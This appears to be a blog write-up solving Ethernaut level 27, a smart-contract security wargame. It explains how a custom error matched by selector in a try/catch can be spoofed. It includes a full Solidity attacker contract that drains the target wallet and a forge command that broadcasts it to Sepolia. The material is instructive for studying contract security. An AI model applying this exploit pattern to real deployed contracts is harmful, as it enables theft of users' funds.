Read the article directly on my blog: Ethernaut Solutions | Level 27 - Good Samaritan
We are given three contracts in the GoodSamaritan
level:
- GoodSamaritan - The contract in charge of distributing the donations.
- Coin - A very minimalist token implementation handling the users' balances.
- Wallet - The wallet belonging to this good old sama.
How to drain the good old Sama's wallet?
Let's check the GoodSamaritan::requestDonation
function:
function requestDonation() external returns(bool enoughBalance){
// donate 10 coins to requester
try wallet.donate10(msg.sender) {
return true;
} catch (bytes memory err) {
if (keccak256(abi.encodeWithSignature("NotEnoughBalance()")) == keccak256(err)) {
// send the coins left
wallet.transferRemainder(msg.sender);
return false;
}
}
}
From there, we can either:
- request 10 coins many, many, many times or...
- try to find a way to trigger the
transferRemainder
function to withdraw everything at once.
So let's try to withdraw everything at once! The transferRemainder
function is protected by the onlyOwner
modifier, so the only way to trigger it is by reverting with the NotEnoughBalance()
custom error.
So what happens exactly when we request a donation? The Wallet::donnate10()
function is called:
function donate10(address dest_) external onlyOwner {
if (coin.balances(address(this)) < 10) {
revert NotEnoughBalance();
} else {
coin.transfer(dest_, 10);
}
}
This function reverts with the NotEnoughBalance()
error only if the wallet's balance is less than 10. Otherwise, it forwards the call to the Coin::transfer
function.
function transfer(address dest_, uint256 amount_) external {
uint256 currentBalance = balances[msg.sender];
if(amount_ <= currentBalance) {
balances[msg.sender] -= amount_;
balances[dest_] += amount_;
if(dest_.isContract()) {
INotifyable(dest_).notify(amount_);
}
} else {
revert InsufficientBalance(currentBalance, amount_);
}
}
This custom transfer()
function is interesting because it calls the INotifyable::notify
function if the destination address is a contract. And this relies on the INotifyable
interface. So what if we implement the INotifyable
interface to revert with the NotEnoughBalance()
error if we receive 10 coins?
So the flow would be this:
GoodSamaritan::requestDonation()
Wallet::donate10()
Coin::transfer()
INotifyable::notify()
ThanksForTheNotif::revert NotEnoughBalance()
wallet::transferRemainder()
Here is the ThanksForTheNotif
contract that will do just that for us:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
interface INotifyable {
function notify(uint256 amount) external;
}
interface IGoodOldSama {
function coin() external returns (address);
function wallet() external returns (address);
function requestDonation() external returns (bool);
}
interface ICoin {
function balances(address user) external view returns (uint256);
}
contract ThanksForTheNotif {
IGoodOldSama private goodOldSama;
ICoin private coin;
address private wallet;
error NotEnoughBalance();
constructor(address _goodOldSama) {
goodOldSama = IGoodOldSama(_goodOldSama);
coin = ICoin(goodOldSama.coin());
wallet = goodOldSama.wallet();
}
function notify(uint256 amount) public pure {
if (amount == 10) {
revert NotEnoughBalance();
}
}
function attack() public {
goodOldSama.requestDonation();
require(coin.balances(wallet) == 0, "Attack failed!");
}
}
The command to run the script:
forge script script/27_GoodSamaritan.s.sol:PoC --rpc-url sepolia --broadcast --watch
- Custom errors in a try/catch block can be thrown by any other contract since they are identified by their 4-byte selector.